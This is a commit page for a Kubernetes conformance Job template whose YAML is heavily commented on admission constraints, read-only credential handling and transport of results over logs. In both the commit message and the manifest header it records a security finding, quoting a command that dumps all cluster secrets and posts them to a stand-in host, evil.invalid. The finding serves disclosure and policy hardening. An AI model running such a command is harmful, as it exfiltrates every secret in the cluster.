jakman85andClaude Opus 5
d3d5f6d8d2
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
297 lines
17 KiB
YAML
297 lines
17 KiB
YAML
# =============================================================================
|
|
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
|
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
|
#
|
|
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
|
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
|
# create a permanent Job object and fight the trigger for ownership.
|
|
#
|
|
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
|
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
|
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
|
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
|
#
|
|
# -----------------------------------------------------------------------------
|
|
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
|
# -----------------------------------------------------------------------------
|
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
|
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
|
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
|
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
|
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
|
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
|
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
|
#
|
|
# So the git credential CANNOT be a projected/secret volume, and the init container
|
|
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
|
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
|
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
|
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
|
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
|
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
|
# by the non-root runner).
|
|
#
|
|
# Verify before changing anything here:
|
|
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
|
# --resource <rendered job> \
|
|
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
|
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
|
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
|
#
|
|
# -----------------------------------------------------------------------------
|
|
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
|
|
# -----------------------------------------------------------------------------
|
|
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
|
|
# replace ONLY the init container's `args` with
|
|
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
|
|
# and leave `containers[0]` untouched and compliant. Result:
|
|
# Applying 3 policy rule(s) to 1 resource(s)...
|
|
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
|
|
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
|
|
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
|
|
# examined, so the exact escalation the policy exists to stop — the privileged
|
|
# conformance-runner SA executing an arbitrary command — is still reachable, one field
|
|
# over. This template's OWN init container does not exploit that; the gap is the policy's,
|
|
# and it existed before this file had an init container at all.
|
|
#
|
|
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
|
|
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
|
|
# FOLLOW-UP, in order of preference:
|
|
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
|
|
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
|
|
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
|
|
# init container carries no caller-supplied code at all and the rule is one pattern.
|
|
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
|
|
# pinned runner image — weaker (the script stays caller-supplied) but it at least
|
|
# stops an arbitrary image running as conformance-runner.
|
|
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
|
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
|
#
|
|
# -----------------------------------------------------------------------------
|
|
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
|
# -----------------------------------------------------------------------------
|
|
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
|
|
# bash script full of legitimate `${...}` references; running the template through
|
|
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
|
|
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
|
|
# this". Render with a two-token sed, nothing cleverer:
|
|
#
|
|
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
|
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
|
#
|
|
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
|
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
|
# are committed literals, so the substitution cannot repoint the image at another
|
|
# repository, and the template still satisfies the policy's image pattern before
|
|
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
|
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
|
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
|
# or an injected value is a hard failure, never a run of the wrong tree.
|
|
#
|
|
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
|
|
# trigger REPLACES it wholesale per invocation shape —
|
|
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
|
|
# "--requirements", "<touched R-IDs>"]
|
|
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
|
|
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
|
|
# to `kyverno apply` as-is.
|
|
#
|
|
# -----------------------------------------------------------------------------
|
|
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
|
# -----------------------------------------------------------------------------
|
|
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
|
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
|
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
|
#
|
|
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
|
# <base64 of the tgz, wrapped at 76 columns>
|
|
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
|
#
|
|
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
|
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
|
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
|
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
|
# stream to plausible garbage without complaint. See the block comment above
|
|
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
|
#
|
|
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
|
# transport is the pod's log, so the Job must finish while that log still exists.
|
|
# =============================================================================
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
generateName: conformance-run-
|
|
namespace: conformance
|
|
labels:
|
|
app.kubernetes.io/part-of: conformance
|
|
spec:
|
|
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
|
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
|
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
|
ttlSecondsAfterFinished: 3600
|
|
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
|
template:
|
|
metadata:
|
|
labels:
|
|
app.kubernetes.io/part-of: conformance
|
|
spec:
|
|
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
|
restartPolicy: Never
|
|
securityContext:
|
|
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
|
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
|
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
|
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
|
# emptyDirs group-writable for that uid.
|
|
runAsNonRoot: true
|
|
runAsUser: 65532
|
|
runAsGroup: 65532
|
|
fsGroup: 65532
|
|
seccompProfile: { type: RuntimeDefault }
|
|
initContainers:
|
|
# ---------------------------------------------------------------------
|
|
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
|
#
|
|
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
|
|
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
|
|
# the token never appears in argv (where `ps` and the Pod spec would show it) and
|
|
# is never written to disk.
|
|
#
|
|
# `--depth 1` clones the default branch; the commit under test is usually its tip
|
|
# but must not be ASSUMED to be (the branch can advance between trigger and run,
|
|
# and a PR head is not the default branch at all). So: clone shallow, and if the
|
|
# SHA is not already present, fetch that one commit, then detach onto it and
|
|
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
|
|
# ---------------------------------------------------------------------
|
|
- name: clone-suite-at-commit
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
|
command: ["/bin/bash", "-c"]
|
|
args:
|
|
- |
|
|
set -euo pipefail
|
|
|
|
# A bad SHA must never degrade into "ran whatever the branch tip was".
|
|
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
|
|
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
|
|
echo " The CI trigger did not substitute it, or substituted junk." >&2
|
|
exit 1
|
|
fi
|
|
|
|
mkdir -p "${TMPDIR}" "${HOME}"
|
|
|
|
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
|
|
# reads $1 and answers from the environment only.
|
|
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
|
|
|
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
|
|
git -c credential.helper="${CRED}" \
|
|
clone --depth 1 --no-tags --single-branch \
|
|
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
|
|
|
|
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
|
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
|
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
|
|
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
|
fi
|
|
|
|
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
|
|
|
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
|
|
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
|
|
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
|
|
exit 1
|
|
fi
|
|
|
|
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|
|
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
|
|
|
|
echo "==> suite ready at ${head}"
|
|
env:
|
|
# The repository under test is a committed literal, not a substitution: a
|
|
# template that lets the trigger choose the clone URL lets it choose the code.
|
|
- name: CONFORMANCE_REPO_URL
|
|
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
|
|
- name: CONFORMANCE_SRC
|
|
value: /workspace/src
|
|
- name: CONFORMANCE_GIT_SHA
|
|
value: "@@CONFORMANCE_GIT_SHA@@"
|
|
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
|
# READ-ONLY Gitea token with read access to this one repository — never a write
|
|
# token, never a deploy key with push. Keys: `username`, `token`.
|
|
# An env var is not a volume, which is how this coexists with the admission
|
|
# policy's workspace/results-only rule.
|
|
- name: GITEA_USERNAME
|
|
valueFrom:
|
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
|
- name: GITEA_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
|
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
|
# stays read-only and no third volume is needed.
|
|
- name: TMPDIR
|
|
value: /workspace/tmp
|
|
- name: HOME
|
|
value: /workspace/home
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
securityContext:
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
capabilities: { drop: ["ALL"] }
|
|
runAsNonRoot: true
|
|
resources:
|
|
requests: { cpu: 100m, memory: 128Mi }
|
|
limits: { cpu: "1", memory: 512Mi }
|
|
containers:
|
|
- name: chainsaw
|
|
# Digest-pinned under the conformance repository path — the admission policy
|
|
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
|
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
|
workingDir: /workspace/src/conformance
|
|
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
|
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
|
command: ["./run.sh"]
|
|
# Replaced wholesale by the trigger per invocation shape (see the header).
|
|
args: ["--layer", "all", "--strict-coverage"]
|
|
env:
|
|
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
|
# artifact tree onto the `results` volume. It cannot live at its default
|
|
# conformance/_artifacts, because a volume mounted inside the clone target
|
|
# would make that directory non-empty and `git clone` would refuse it.
|
|
- name: CONF_ARTIFACTS
|
|
value: /results
|
|
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
|
# base64 tar over an operator's terminal.
|
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
|
value: "1"
|
|
- name: TMPDIR
|
|
value: /workspace/tmp
|
|
- name: HOME
|
|
value: /workspace/home
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
- { name: results, mountPath: /results }
|
|
securityContext:
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
capabilities: { drop: ["ALL"] }
|
|
runAsNonRoot: true
|
|
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
|
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
|
# node without starving the suite.
|
|
resources:
|
|
requests: { cpu: 250m, memory: 512Mi }
|
|
limits: { cpu: "2", memory: 2Gi }
|
|
volumes:
|
|
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
|
# Suite source, written by the init container: /workspace/src is the checkout,
|
|
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
|
- name: workspace
|
|
emptyDir: {}
|
|
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
|
# carries; an emptyDir is sufficient because the transport is the log, not the
|
|
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
|
- name: results
|
|
emptyDir: {}
|